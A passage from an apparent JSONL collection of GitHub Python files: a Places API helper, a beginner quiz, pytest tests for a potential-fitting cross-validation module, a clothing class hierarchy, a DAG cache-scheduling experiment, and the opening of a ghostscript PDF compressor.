\"https://maps.googleapis.com/maps/api/place/details/json\"\n endpoint = f\"{base_url}?place_id={place_id}&key={key}\"\n r = requests.get(endpoint)\n results = r.json()[\"result\"]\n details[\"name\"] = results[\"name\"]\n details[\"rating\"] = results[\"rating\"]\n photo_ref = results[\"photos\"][0][\"photo_reference\"]\n details[\"photo\"] = favorite_photo(photo_ref=photo_ref)\n return details\n\n\ndef favorite_photo(photo_ref):\n \"\"\"\n Get photo of user's favorite place\n \"\"\"\n key = os.getenv(\"GOOGLE_KEY\")\n endpoint = f\"https://maps.googleapis.com/maps/api/place/photo?maxwidth=400&photo_reference={photo_ref}&key={key}\"\n r = requests.get(endpoint)\n if r.status_code != 200:\n return None\n else:\n f = open(\"static/favoriteImage.jpg\", \"wb\")\n for chunk in r:\n if chunk:\n f.write(chunk)\n f.close()\n return \"static/favoriteImage.jpg\"\n","repo_name":"wylandcrews/SWE-Final-Project","sub_path":"favorite_place.py","file_name":"favorite_place.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"2282760056","text":"\"\"\"\r\n#1\r\ns = 'terfinx'\r\ns = ''.join(sorted(list(s)[3:7])+list(s)[0:3])\r\nprint(s)\r\n#2\r\nprint('P\"yt\\'h\"on')\r\n#3\r\ns1 = \"Ronaldo is better than Messi\"\r\nprint(\"Ronaldo\" in s1)\r\nprint(\"Football\" in s1)\r\n\r\n#4\r\nx = 50*2+(60-20)/4\r\nprint(x)\r\n\r\n#5\r\npython = ['cool']\r\nx = python in python\r\nprint(x)\r\n\r\n#6\r\nl =[[]]\r\nif l:\r\n print(True)\r\nelse:\r\n print(False)\r\n\"\"\"\r\n\"\"\"\r\n#7\r\ndef ask_ok(promt, retries=4, reminder='Repeat!'):\r\n while True:\r\n ok = input(promt)\r\n if ok in ('y','ye','yes'):\r\n return True\r\n if ok in('n','no','nop','nope'):\r\n return False\r\n retries = retries - 1\r\n if retries < 0:\r\n raise ValueError('invalid user response')\r\n print(reminder)\r\n\r\nask_ok('Howdy?',5)\r\n\"\"\"\r\n\r\n#8\r\nwords = ['ape','banana','cat','bird']\r\nb_word = [w for w in words if w.startswith('b')]\r\n\r\nprint(len(b_word))","repo_name":"MUMTAHINA-766/Python-basics","sub_path":"quize4.py","file_name":"quize4.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18994976855","text":"#! /usr/bin/env python3\nimport pytest\nimport numpy as np\nfrom mock import patch, call, Mock, mock_open, MagicMock\nfrom popoff.fitting_code import FitModel\nfrom popoff.collate_structures import data_from_vasprun\nfrom popoff.cross_validation import (validation_sets, chi_squared_error,\n save_cv_data, run_cross_validation,\n setup_error_dict, plot_cross_validation)\n\ndef test_validation_sets_in_cross_validation():\n sets_of_structs = validation_sets(2, 15, 5, np.array([2,4,6,8,10]), seed=7)\n np.testing.assert_array_equal(sets_of_structs, np.array([[3,7,9,11,12],[1,7,11,14,15]]))\n \ndef test_chi_squared_error_in_cross_validation(force_stress):\n chi = chi_squared_error(force_stress[2], force_stress[0], force_stress[3], force_stress[1])\n np.testing.assert_almost_equal(chi, 0.00223222222) \n\n@patch(\"builtins.open\", new_callable=mock_open)\n@patch('popoff.cross_validation.np.savetxt')\ndef test_save_cv_data_in_cross_validation(mock_savetxt, mock_open, force_stress):\n save_cv_data('test_files', np.array([1,2]), 0.00223222222,\n force_stress[2],force_stress[0],force_stress[3],force_stress[1])\n calls_save = [call('test_files/s1-2_dft_forces.dat', force_stress[2], fmt='%.10e', delimiter=' '),\n call('test_files/s1-2_ip_forces.dat', force_stress[0], fmt='%.10e', delimiter=' '),\n call('test_files/s1-2_dft_stresses.dat', force_stress[3], fmt='%.10e', delimiter=' '),\n call('test_files/s1-2_ip_stresses.dat', force_stress[1], fmt='%.10e', delimiter=' ')]\n mock_savetxt.assert_has_calls(calls_save)\n calls_open = [call('test_files/s1-2_error.dat', 'w'),\n call().__enter__(),\n call().write(str(0.00223222222)),\n call().__exit__(None, None, None)]\n mock_open.assert_has_calls(calls_open)\n\n@patch('popoff.cross_validation.save_cv_data')\n@patch('popoff.cross_validation.chi_squared_error', return_value = 0.01)\n@patch('popoff.cross_validation.FitModel')\n@patch('popoff.cross_validation.validation_sets')\n@patch('popoff.cross_validation.fit_out')\ndef test_run_cross_validation_in_cross_validation(fit_out, val_set, fitmodel, chi, save, buckingham_potential, params, fit_data):\n head_dir = 'test_files/test_outputs'\n head_out = 'test_files/test_outputs/outputs'\n labels = ['q_scaling', 'Li_O_a', 'Li_O_rho']\n val_set.return_value = [[1,2,3], [4,5,6]]\n fit_out.create_directory.return_value = None\n fit_out.extract_stresses_and_forces = MagicMock(return_value= (0,1,2,3))\n fit_data.reset_directories = MagicMock(return_value=None)\n fitmodel.collect_info = MagicMock(return_value=fit_data)\n \n \n run_cross_validation(1, 15, 5, head_dir, head_out, params, supercell=None, seed=7)\n fit_out_calls = [call.create_directory('test_files/test_outputs/outputs', 'p1'),\n call.extract_stresses_and_forces(fit_data, [0.5, 1.0, 0.1], labels),\n call.extract_stresses_and_forces(fit_data, [0.5, 1.0, 0.1], labels),\n call.create_directory('test_files/test_outputs/outputs', 'p2'),\n call.extract_stresses_and_forces(fit_data, [0.6, 2.0, 0.2], labels),\n call.extract_stresses_and_forces(fit_data, [0.6, 2.0, 0.2], labels)]\n fit_out.assert_has_calls(fit_out_calls)\n val_set.assert_called_with(1, 15, 5, np.array([2]), seed=False)\n \n fitmodel_calls = [call.collect_info(params, [4, 5, 6], supercell=None)]\n fitmodel.assert_has_calls(fitmodel_calls)\n chi.assert_called_with(0, 1, 2, 3)\n save.assert_called_with(None, [4,5,6], 0.01, 0, 1, 2, 3) \n \ndef test_setup_error_dict_in_cross_validation():\n head_dir = 'test_files/test_cv'\n error_dict = setup_error_dict(head_dir)\n assert error_dict == {'1': 0.1} \n\n@patch(\"popoff.cross_validation.plt\")\ndef test_plot_cross_validation_in_cross_validation(mock_plt):\n error_dict = {'1': 0.1, '2': 0.2}\n plot_cross_validation(error_dict, 'test/p1', 'test', xlabel_rotation=50, title='default', save=True)\n calls_command = [call.scatter(*zip(*sorted(error_dict.items()))),\n call.xticks(rotation=50),\n call.xlabel('cross-validation structure numbers'),\n call.ylabel('$\\chi^2$ error'),\n call.title('Potential 1 cross-validation fit errors ($\\chi^2$)'),\n call.savefig('test/p1_cv_fit_errors.png',dpi=500, bbox_inches = \"tight\"),\n call.show()]\n mock_plt.assert_has_calls(calls_command)\n","repo_name":"LMMorgan/PopOff","sub_path":"tests/test_cross_validation.py","file_name":"test_cross_validation.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"34961017241","text":"class Baju:\r\n def __init__(self, ukuran, warna):\r\n self.ukuran = ukuran\r\n self.warna = warna\r\n\r\nclass Lengan_Panjang(Baju):\r\n def __init__(self, ukuran, warna, merk, tingkat_gerah):\r\n super().__init__(ukuran, warna)\r\n self.merk = merk\r\n self.tingkat_gerah = tingkat_gerah\r\n\r\nclass Lengan_Pendek(Baju):\r\n def __init__(self, ukuran, warna, merk):\r\n super().__init__(ukuran, warna)\r\n self.merk = merk\r\n\r\nclass Tank_Top(Lengan_Pendek):\r\n def __init__(self, ukuran, warna, merk, jenis_kain):\r\n super().__init__(ukuran, warna, merk)\r\n self.jents_kain = jenis_kain\r\n\r\nclass Swimming_Top(Lengan_Pendek ):\r\n def __init__(self, ukuran, warna, merk, jenis_kelamin):\r\n super().__init__(ukuran, warna, merk)\r\n self.jents_kelamin = jenis_kelamin\r\n\r\nclass Tuxedo(Lengan_Panjang):\r\n def __init__(self, ukuran, warna, merk, tingkat_gerah, harga, ketebalan):\r\n super().__init__(ukuran, warna, merk, tingkat_gerah)\r\n self.harga = harga\r\n self.ketebalan = ketebalan\r\n\r\n def buka_jas(self):\r\n print(\"Jas dibuka...\")\r\n\r\n def buka_pita(self):\r\n print( \"Pita dibuka...\")\r\n\r\n\r\n\r\nclass Celana:\r\n def __init__(self, merk, warna, ukuran):\r\n self.merk = merk\r\n self.warna = warna\r\n self.ukuran = ukuran\r\n\r\nclass Jenis_Celana(Celana):\r\n def __init__(self, merk, warna, ukuran, nama_jenis):\r\n super().__init__(merk, warna, ukuran)\r\n self .nama_jenis = nama_jenis\r\n\r\nclass Jeans(Jenis_Celana):\r\n def __init__(self, merk, warna, ukuran, tekstur, jml_dekorasi):\r\n super().__init__(merk, warna, ukuran, nama_jenis=\"Jeans\")\r\n self.tekstur = tekstur\r\n self.jml_dekorasi = jml_dekorasi\r\n\r\nclass Casual(Jenis_Celana):\r\n def __init__(self, merk, warna, ukuran, lebar, jenis_kain):\r\n super().__init__(merk, warna, ukuran, nama_jenis=\"Casual\")\r\n self.lebar = lebar\r\n self.jenis_kain = jenis_kain\r\n\r\n\r\n\r\nclass Pakaian:\r\n def __init__(self, baju:Baju, celana:Celana):\r\n self.baju = baju\r\n self.celana = celana\r\n\r\nzuckerberg = Pakaian(\r\n baju=Tank_Top(\r\n ukuran=\"L\",\r\n warna=\"Hitam\",\r\n merk=\"Rider\",\r\n jenis_kain=\"Katun\"\r\n ),\r\n celana=Jeans(\r\n merk=\"Watchout\",\r\n warna=\"Biru Dongker\",\r\n ukuran=\"L\",\r\n tekstur=\"Kasar\",\r\n jml_dekorasi=5\r\n )\r\n)\r\n\r\nbill = Pakaian(\r\n baju=Tuxedo(\r\n \"XL\", \"Coklat\",\r\n \"Havana\", 47.2, \r\n 200_000_000, 2\r\n ),\r\n celana=Casual(\r\n \"Hockerty\", \"Hitam\",\r\n \"XL\", 60, \"Bologna\"\r\n )\r\n)","repo_name":"allanbil214/semes2_pbop_tugas_uts","sub_path":"no1/gabungan.py","file_name":"gabungan.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38795450718","text":"#!/usr/bin/python\n# Trevor Nogues, Mania Abdi\n\n# Graph abstraction \nfrom collections import defaultdict \nimport random\nimport sched, threading, time\nimport copy\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n \n#Class to represent a graph \nclass Graph: \n def __init__(self, vertices):\n self.nodes = set()\n self.edges = {}\n self.distances = {}\n self.inputs = {}\n self.inputSize = {}\n self.outputSize = {}\n self.V = vertices\n self.graph = defaultdict(list)\n self.inDegree = [0]*self.V\n self.outDegree = [0]*self.V\n self.timeValue = [0]*self.V\n self.cachedtimeValue = [0]*self.V\n self.alphabet = {}\n self.cacheSize = 50\n self.cache = [\"\"]*self.cacheSize\n self.cacheRefDist = [-1]*self.cacheSize\n self.mrdTable = {}\n\n def add_node(self, value):\n self.nodes.add(value)\n \n # Randomly assign time value to each node\n def random_runtime(self):\n for i in range(len(self.timeValue)):\n self.timeValue[i] = random.randint(1,10)\n self.cachedtimeValue[i] = random.randint(1, self.timeValue[i])\n print(\"uncached times: \", self.timeValue)\n print(\"cached times: \", self.cachedtimeValue)\n \n # Set size for each letter\n def createAlphabet(self):\n letter = \"a\"\n while letter <= \"z\":\n self.alphabet[letter] = random.randint(1,10)\n letter = chr(ord(letter)+1)\n print(\"alphabet: \", self.alphabet)\n\n def random_ios(self):\n for i in range(self.V):\n numInputs = random.randint(1,3)\n inputs = []\n inputSize = []\n while len(inputs) < numInputs:\n inputLetter = chr(random.randint(97,122))\n if inputLetter not in inputs:\n inputs.append(inputLetter)\n inputSize.append(self.alphabet[inputLetter])\n self.inputs[i] = inputs\n self.inputSize[i] = inputSize\n self.outputSize[i] = random.randint(1,100)\n print(\"inputs\",self.inputs)\n print(\"input size\",self.inputSize)\n print(\"output size\",self.outputSize)\n\n def add_edge(self, from_node, to_node, distance):\n if from_node not in self.nodes:\n self.add_node(from_node)\n if to_node not in self.nodes:\n self.add_node(to_node)\n self._add_edge(from_node, to_node, distance)\n # self._add_edge(to_node, from_node, distance)\n self.graph[from_node].append((to_node,distance)) \n self.inDegree[to_node] += 1\n self.outDegree[from_node] += 1\n\n def _add_edge(self, from_node, to_node, distance):\n self.edges.setdefault(from_node, [])\n self.edges[from_node].append(to_node)\n self.distances[(from_node, to_node)] = distance\n\n # A recursive function used by topologicalSort \n def topologicalSortUtil(self,v,visited,stack): \n \n # Mark the current node as visited. \n visited[v] = True\n \n # Recur for all the vertices adjacent to this vertex \n for i in self.graph[v]: \n if visited[i[0]] == False: \n self.topologicalSortUtil(i[0],visited,stack) \n \n # Push current vertex to stack which stores result \n stack.insert(0,v) \n \n # The function to do Topological Sort. It uses recursive \n # topologicalSortUtil() \n def topologicalSort(self): \n # Mark all the vertices as not visited \n visited = [False]*self.V \n stack =[] \n \n # Call the recursive helper function to store Topological \n # Sort starting from all vertices one by one \n for i in range(self.V): \n if visited[i] == False: \n self.topologicalSortUtil(i,visited,stack) \n \n # Return contents of the stack \n return stack\n\n # Helper to update bLevel() contents\n def bLevelHelper(self, graphCopy, deleted, levels, count):\n checked = [True]*self.V\n for c in range(len(deleted)):\n if deleted[c] == False and graphCopy[c] == []:\n checked[c] = False\n\n for i in range(len(checked)):\n if checked[i] == False:\n deleted[i] = True\n count -= 1\n for node in range(self.V):\n for subnode in graphCopy[node]:\n if subnode[0] == i:\n graphCopy[node].remove(subnode)\n \n return count\n\n # Find b-level of DAG, then sort\n def bLevel(self):\n levels = [0]*self.V\n deleted = [False]*self.V\n graphCopy = copy.deepcopy(self.graph)\n count = self.V\n while count > 0:\n count = self.bLevelHelper(graphCopy,deleted,levels,count)\n for i in range(len(deleted)):\n if deleted[i] == False:\n levels[i] += 1\n \n return levels\n\n # Sort in descending order according to blevel\n def bLevelSort(self, levels):\n orderedLevels = []\n orderedNodes = []\n maxLevel = max(levels)\n\n # Sort by finding current max, then make it negative\n for i in range(len(levels)):\n currentMax = max(levels)\n currentIndex = levels.index(currentMax)\n orderedLevels.append(currentMax)\n orderedNodes.append(currentIndex)\n if levels[currentIndex] == 0:\n levels[currentIndex] = -1*(1+maxLevel)\n else:\n levels[currentIndex] = -1*levels[currentIndex]\n\n # Convert back to original level values\n for i in range(len(levels)):\n if levels[i] == -1*(1+maxLevel):\n levels[i] = 0\n else:\n levels[i] = (-1)*levels[i]\n # print(\"blevels, sorted:\", orderedLevels)\n # print(\"nodes, sorted:\", orderedNodes)\n return orderedLevels, orderedNodes\n\n # Imitation of MRD algorithm \n def mrd(self):\n levels = self.bLevel() # change it to the way you get these two\n ordL, ordN = self.bLevelSort(levels)\n count = 0\n currentRefDist = 0\n while count < len(ordL)-1:\n currentLevel = ordL[count]\n currentNodes = [ordN[count]]\n currentInputs = [self.inputSize[ordN[count]]]\n currentNames = [self.inputs[ordN[count]]]\n if currentLevel == 0:\n while count < len(ordL)-1:\n count += 1\n currentNodes.append(ordN[count])\n currentInputs.append(self.inputSize[ordN[count]])\n currentNames.append(self.inputs[ordN[count]])\n elif ordL[count] != ordL[count+1]:\n count += 1\n else:\n while ordL[count] == ordL[count+1]:\n currentNodes.append(ordN[count+1])\n currentInputs.append(self.inputSize[ordN[count+1]])\n currentNames.append(self.inputs[ordN[count+1]])\n count += 1\n count += 1\n print(\"\\nFor b-level\", currentLevel)\n print(\"nodes:\", currentNodes)\n print(\"input sizes:\", currentInputs)\n print(\"input names:\", currentNames, \"\\n\")\n\n # if currentLevel == ordL[0]:\n self.updateCache(currentRefDist, currentNames)\n currentRefDist += 1\n\n self.updateCacheAgain()\n\n # Initialize cache, to be overwritten later\n def createCache(self):\n numAdded = 0\n added = []\n # If still possible to fit max letter size\n # Currently max is 100, might be changed\n while self.cacheSize - numAdded > 10:\n randLetter = chr(random.randint(97,122))\n if randLetter not in added:\n added.append(randLetter)\n letterSpace = self.alphabet[randLetter]\n for i in range(letterSpace):\n self.cache[numAdded+i] = randLetter\n numAdded += letterSpace\n print(\"cache init:\", self.cache)\n\n # Put into cache\n def updateCache(self, currentRefDist, currentNames):\n # distance = 0\n # Check what this loops over, might not be good\n for i in range(len(currentNames)):\n for name in currentNames[i]:\n if name in self.cache:\n # Get index name starts at\n startIndex = self.cache.index(name)\n # Update self.cacheRefDist\n letterSize = self.alphabet[name]\n for j in range(startIndex, startIndex + letterSize):\n self.cacheRefDist[j] = currentRefDist\n # Update ref dist \n self.mrdTable[name] = currentRefDist\n else:\n # Store ref dist for later\n self.mrdTable[name] = currentRefDist\n\n # letterSize = self.alphabet[name]\n # count = 0\n # while count < letterSize:\n # index = self.cacheRefDist.index(-1)\n # get next __ elements with ref dist of -1\n # set self.cache at each to name, then update ref dist\n\n print(self.cacheRefDist)\n print(self.cache)\n # print(self.mrdTable)\n\n # Overwrite less important info in cache\n # Only call after updateCache has finished being called\n def updateCacheAgain(self):\n maxTableDist = max(self.mrdTable.values())\n for name in self.mrdTable:\n if name not in self.cache:\n letterSize = self.alphabet[name]\n letterRefDist = self.mrdTable[name]\n count = 0\n print(\"trying to add\",name, \"with ref dist\", letterRefDist)\n while count < letterSize:\n if -1 in self.cacheRefDist:\n print(\"cache over -1:\", name, letterSize, letterRefDist)\n currentIndex = self.cacheRefDist.index(-1)\n self.cache[currentIndex] = name\n self.cacheRefDist[currentIndex] = letterRefDist\n count += 1\n else:\n findDist = maxTableDist\n while findDist not in self.cacheRefDist and findDist > letterRefDist+1:\n findDist -= 1\n if findDist == letterRefDist:\n print(\"break\")\n break\n elif findDist in self.cacheRefDist:\n currentIndex = self.cacheRefDist.index(findDist)\n print(\"cache over\",findDist,self.cache[currentIndex],\":\", name, letterSize, letterRefDist)\n self.cache[currentIndex] = name\n self.cacheRefDist[currentIndex] = letterRefDist\n count += 1\n else:\n break\n print(\"\\n\")\n print(\"alphabet\",self.alphabet)\n print(\"mrd table\",self.mrdTable)\n print(\"\\n\")\n print(\"updated cache\",self.cache)\n print(\"updated ref dist\",self.cacheRefDist)\n \n # B-level (PIG) schedule helper \n def scheduleHelper(self, ordL = [0], ordN = [0], currentLevel = -1, priority = 0, timesUsed = []):\n s = sched.scheduler(time.time, time.sleep)\n priority += 1\n print(\"From helper\", time.time())\n currentIndex = 0\n if currentLevel != -1:\n currentMaxTime = self.timeValue[ordN[currentIndex]]\n if currentLevel == 0:\n while currentIndex < len(ordL) - 1:\n if self.timeValue[ordN[currentIndex+1]] > currentMaxTime:\n currentMaxTime = self.timeValue[ordN[currentIndex+1]]\n currentIndex += 1\n \n else:\n count = 1\n while ordL[currentIndex] == ordL[currentIndex+1]:\n if self.timeValue[ordN[currentIndex+1]] > currentMaxTime:\n currentMaxTime = self.timeValue[ordN[currentIndex+1]]\n currentIndex += 1\n count += 1\n for i in range(count):\n del ordL[0]\n del ordN[0]\n print(currentMaxTime, ordL, ordN)\n currentLevel -= 1\n timesUsed.append(currentMaxTime)\n s.enter(currentMaxTime, priority, self.scheduleHelper, argument=(ordL,ordN,currentLevel,priority,timesUsed))\n s.run()\n\n # B-level (PIG) scheduler\n def schedule(self):\n s = sched.scheduler(time.time, time.sleep)\n blevels = self.bLevel()\n print(\"levels\",blevels)\n ordL, ordN = self.bLevelSort(blevels)\n currentIndex = 0\n priority = 1\n currentLevel = ordL[0]\n currentMaxTime = self.timeValue[ordN[currentIndex]]\n count = 1\n timesUsed = []\n print(\"ordL\",ordL,\"ordN\",ordN)\n start = time.time()\n print(\"start\", start)\n # Assume not all nodes are same blevel\n # Will not index out of range\n while ordL[currentIndex] == ordL[currentIndex+1]:\n if self.timeValue[ordN[currentIndex+1]] > currentMaxTime:\n currentMaxTime = self.timeValue[ordN[currentIndex+1]]\n currentIndex += 1\n count += 1\n for i in range(count):\n del ordL[0]\n del ordN[0]\n print(currentMaxTime, ordL, ordN)\n currentLevel -= 1\n timesUsed.append(currentMaxTime)\n s.enter(currentMaxTime, priority, self.scheduleHelper, argument=(ordL,ordN,currentLevel,priority,timesUsed))\n s.run()\n end = time.time()\n print(\"end\", end)\n print(\"total time\", end - start)\n return end - start, timesUsed\n\n # Do uncached and cached schedulers\n # Note: currently overwrites self.time, need to fix\n def runSchedulers(self):\n print(\"\\nrunning uncached scheduler\")\n uncached, timesUncached = self.schedule()\n print(\"\\nbefore\", self.timeValue)\n for node in range(self.V):\n cacheIt = True\n for name in self.inputs[node]:\n if name not in self.cache:\n cacheIt = False\n break\n if cacheIt == True:\n self.timeValue[node] = self.cachedtimeValue[node]\n print(\"after\", self.timeValue)\n print(\"\\nrunning cached scheduler\")\n cached, timesCached = self.schedule()\n print(\"\\nuncached:\",uncached, \"cached:\",cached)\n print(\"\\nuncached:\",timesUncached, \"cached:\",timesCached)\n return uncached, cached\n\n def prefetch(self, currentLevel, ordL, ordN, timeStamp):\n currentIndex = ordL.index(currentLevel)\n\n # Prefetch first index\n currentNode = ordN[currentIndex]\n numInputs = len(self.inputs[currentNode])\n for i in range(numInputs):\n name = self.inputs[currentNode][i]\n offset = 0\n size = self.inputSize[currentNode][i]\n while offset < size:\n print(name, offset, currentNode, 0, timeStamp, \"prefetch\", size)\n offset += 1\n \n # Prefetch rest \n while currentIndex + 1 != len(ordL) and ordL[currentIndex] == ordL[currentIndex+1]:\n nextNode = ordN[currentIndex+1]\n numInputs = len(self.inputs[nextNode])\n for i in range(numInputs):\n name = self.inputs[nextNode][i]\n offset = 0\n size = self.inputSize[nextNode][i]\n while offset < size:\n print(name, offset, nextNode, 0, timeStamp, \"prefetch\", size)\n offset += 1\n currentIndex += 1\n\n def read(self, currentLevel, ordL, ordN, timeStamp):\n currentIndex = ordL.index(currentLevel)\n\n # Read first index\n currentNode = ordN[currentIndex]\n numInputs = len(self.inputs[currentNode])\n for i in range(numInputs):\n name = self.inputs[currentNode][i]\n offset = 0\n size = self.inputSize[currentNode][i]\n while offset < size:\n print(name, offset, currentNode, 0, timeStamp, \"read\", size)\n offset += 1\n\n # Read rest \n while currentIndex + 1 != len(ordL) and ordL[currentIndex] == ordL[currentIndex+1]:\n nextNode = ordN[currentIndex+1]\n numInputs = len(self.inputs[nextNode])\n for i in range(numInputs):\n name = self.inputs[nextNode][i]\n offset = 0\n size = self.inputSize[nextNode][i]\n while offset < size:\n print(name, offset, nextNode, 0, timeStamp, \"read\", size)\n offset += 1\n currentIndex += 1\n\n def prefetch_and_read(self):\n blevels = self.bLevel()\n ordL, ordN = self.bLevelSort(blevels)\n currentLevel = ordL[0]\n timeStamp = 0\n \n # Prefetch first level\n self.prefetch(currentLevel, ordL, ordN, timeStamp)\n timeStamp += 1\n\n # Read current level and prefetch next\n while currentLevel > 0:\n self.read(currentLevel, ordL, ordN, timeStamp)\n currentLevel -= 1\n self.prefetch(currentLevel, ordL, ordN, timeStamp)\n timeStamp += 1\n \n # Read last level\n self.read(currentLevel, ordL, ordN, timeStamp)\n\n # Ignore this function for now... not useful\n def pigGraph(self, label):\n uncached, cached = self.runSchedulers()\n # Create matrix\n numRows = len(uncached)\n numCols = 2\n # Initialize table with all 0s\n timeTable = [[0 for x in range(numRows)] for y in range(numCols)]\n # Add time values\n gain = []\n for row in range(numRows):\n x = cached[row]\n y = uncached[row]\n gainValue = ((y-x)/y)*100\n timeTable[0][row] = x\n timeTable[1][row] = y\n # timeTable[2][row] = gain\n gain.append(gainValue)\n \n print(gain)\n\n ser = pd.Series(gain)\n ser = ser.sort_values()\n # ser[len(ser)] = ser.iloc[-1]\n totalDist = np.linspace(0.,1.,len(ser))\n ser_cdf = pd.Series(totalDist, index=ser)\n ser_cdf.plot(label=label,marker='.', linestyle='none')\n # ser_cdf.plot(drawstyle='steps',label=1)\n plt.title('CDF for MRD algorithm')\n plt.xlabel('gain')\n plt.ylabel('proportion of gain values of equal or lesser value')\n plt.legend()\n plt.axis((-2,100,0,1))\n\n\n\n \n\n#Example 1\ng = Graph(15) \ng.add_edge(0, 1, 4) \ng.add_edge(0, 2, 3) \ng.add_edge(0, 4,11)\ng.add_edge(0,11, 1)\ng.add_edge(11,13,1) \ng.add_edge(13,14,1) \ng.add_edge(1, 3, 7) \ng.add_edge(1, 4, 1) \ng.add_edge(2, 5, 9) \ng.add_edge(3, 6, 2)\ng.add_edge(4, 6, 2)\ng.add_edge(5, 4, 1)\ng.add_edge(5, 6, 5) \ng.add_edge(7, 5, 5)\ng.add_edge(7, 8, 9) \ng.add_edge(9, 8, 4)\ng.add_edge(10,6, 6)\ng.add_edge(10,8,12)\ng.add_edge(10,12,5)\ng.add_edge(10,13,4)\n\ng.createAlphabet()\ng.createCache()\ng.random_ios()\ng.random_runtime()\n# g.schedule()\ng.mrd()\n# g.runSchedulers()\n# g.pigGraph(\"G\")\n# g.prefetch_and_read()\n\n# Example 2\nh = Graph(10)\nh.add_edge(0, 1, 1)\nh.add_edge(0, 2, 2)\nh.add_edge(0, 5, 3)\nh.add_edge(1, 2, 0)\nh.add_edge(1, 3, 8)\nh.add_edge(2, 3, 4)\nh.add_edge(2, 7, 5)\nh.add_edge(3, 4, 2)\nh.add_edge(6, 5, 3)\nh.add_edge(7, 9, 2)\nh.add_edge(8, 1, 7)\n\nh.createAlphabet()\nh.createCache()\nh.random_ios()\nh.random_runtime()\nh.mrd()\n# h.runSchedulers()\n# h.pigGraph(\"H\")\n# h.prefetch_and_read()\n\n# Example 3\ni = Graph(9)\ni.add_edge(0, 2, 1)\ni.add_edge(0, 4, 1)\ni.add_edge(0, 6, 1)\ni.add_edge(2, 1, 1)\ni.add_edge(4, 3, 1)\ni.add_edge(1, 7, 1)\ni.add_edge(1, 5, 2)\ni.add_edge(3, 5, 3)\ni.add_edge(8, 5, 1)\n\ni.createAlphabet()\ni.createCache()\ni.random_ios()\ni.random_runtime()\ni.mrd()\n# i.runSchedulers()\n# i.pigGraph(\"I\")\n# i.prefetch_and_read()\n\n# Example 4\nj = Graph(6)\nj.add_edge(0, 1, 1)\nj.add_edge(1, 2, 1)\nj.add_edge(2, 3, 1)\nj.add_edge(3, 4, 1)\nj.add_edge(4, 5, 1)\n\nj.createAlphabet()\nj.createCache()\nj.random_ios()\nj.random_runtime()\nj.mrd()\n# j.runSchedulers()\n# j.pigGraph(\"J\")\n# j.prefetch_and_read()\n\n# Example 5\nk = Graph(6) \nk.add_edge(5, 2, 1); \nk.add_edge(5, 0, 1); \nk.add_edge(4, 0, 1); \nk.add_edge(4, 1, 1); \nk.add_edge(2, 3, 1); \nk.add_edge(3, 1, 1); \n\nk.createAlphabet()\nk.createCache()\nk.random_ios()\nk.random_runtime()\nk.mrd()\n# k.runSchedulers()\n# k.pigGraph(\"K\")\n# k.prefetch_and_read()\n\n\n\n\n# Generates CDF, each graph is one data point\ndef pigMRD():\n gain = []\n\n uncachedG, cachedG = g.runSchedulers()\n gainG = ((uncachedG-cachedG)/uncachedG)*100\n gain.append(gainG)\n\n uncachedH, cachedH = h.runSchedulers()\n gainH = ((uncachedH-cachedH)/uncachedH)*100\n gain.append(gainH)\n\n uncachedI, cachedI = i.runSchedulers()\n gainI = ((uncachedI-cachedI)/uncachedI)*100\n gain.append(gainI)\n\n uncachedJ, cachedJ = j.runSchedulers()\n gainJ = ((uncachedJ-cachedJ)/uncachedJ)*100\n gain.append(gainJ)\n\n uncachedK, cachedK = k.runSchedulers()\n gainK = ((uncachedK-cachedK)/uncachedK)*100\n gain.append(gainK)\n\n ser = pd.Series(gain)\n ser = ser.sort_values()\n totalDist = np.linspace(0.,1.,len(ser))\n ser_cdf = pd.Series(totalDist, index=ser)\n ser_cdf.plot(marker='.', linestyle='none')\n plt.title('CDF for MRD algorithm')\n plt.xlabel('gain')\n plt.ylabel('proportion of gain values of equal or lesser value')\n plt.legend()\n plt.axis((-2,100,0,1))\n plt.show()\n\npigMRD()\n","repo_name":"qfoxzjd/Kariz","sub_path":"code/plans/mrd/MRDalgorithm.py","file_name":"MRDalgorithm.py","file_ext":"py","file_size_in_byte":21697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"32420454686","text":"#!/usr/bin/python3\r\n\r\n\"\"\"\r\nPython script to compress PDF files using ghostscript.\r\n@author Peter Heywood\r\n\"\"\"\r\n\r\nimport os\r\nimport subprocess\r\nimport argparse\r\nimport time\r\n\r\nCOMPRESSIONS = [\r\n \"screen\",\r\n \"ebook\",\r\n \"printer\",\r\n \"prepress\",\r\n \"default\",\r\n]\r\nCOMPRESSION_DEFAULT = COMPRESSIONS[0]\r\n\r\n\r\ndef process_args():\r\n parser = argparse.ArgumentParser(description=\"Compress a PDF using ghostscript.\")\r\n parser.add_argument(\r\n \"input\",\r\n type=str,\r\n help=\"Input PDF file\"\r\n )\r\n parser.add_argument(\r\n \"-o\",\r\n \"--output\",\r\n type=str,\r\n help=\"Optional output path. Path is calculated if not specified.\"\r\n )\r\n parser.add_argument(\r\n \"-c\",\r\n \"--compression\",\r\n choices=COMPRESSIONS,\r\n default=COMPRESSION_DEFAULT,\r\n help=\"Compression level. Defaults to '{:}'\".format(COMPRESSION_DEFAULT)\r\n )\r\n parser.add_argument(\r\n \"-f\",\r\n \"--force\",\r\n action=\"store_true\",\r\n help=\"Overwite output file\"\r\n )\r\n args = parser.parse_args()\r\n return args\r\n\r\n\r\ndef human_bytes(bytes):\r\n FACTOR = 1024.0\r\n value = bytes\r\n for prefix in [\"B\", \"KiB\", \"MiB\", \"GiB\"]:\r\n if value < FACTOR:\r\n return \"{:.3f}{:}\".format(value, prefix)\r\n value = value / FACTOR\r\n return \"{:.3f}{:}\".format(value, prefix)\r\n\r\n\r\ndef compress(inpath, outpath, compression, force):\r\n # validate input file\r\n if not os.path.isfile(inpath):\r\n print(\"Error: input {:} is not a file\".format(inpath))\r\n\r\n # Set an outpath if not provided.\r\n if outpath is None:\r\n a, b = 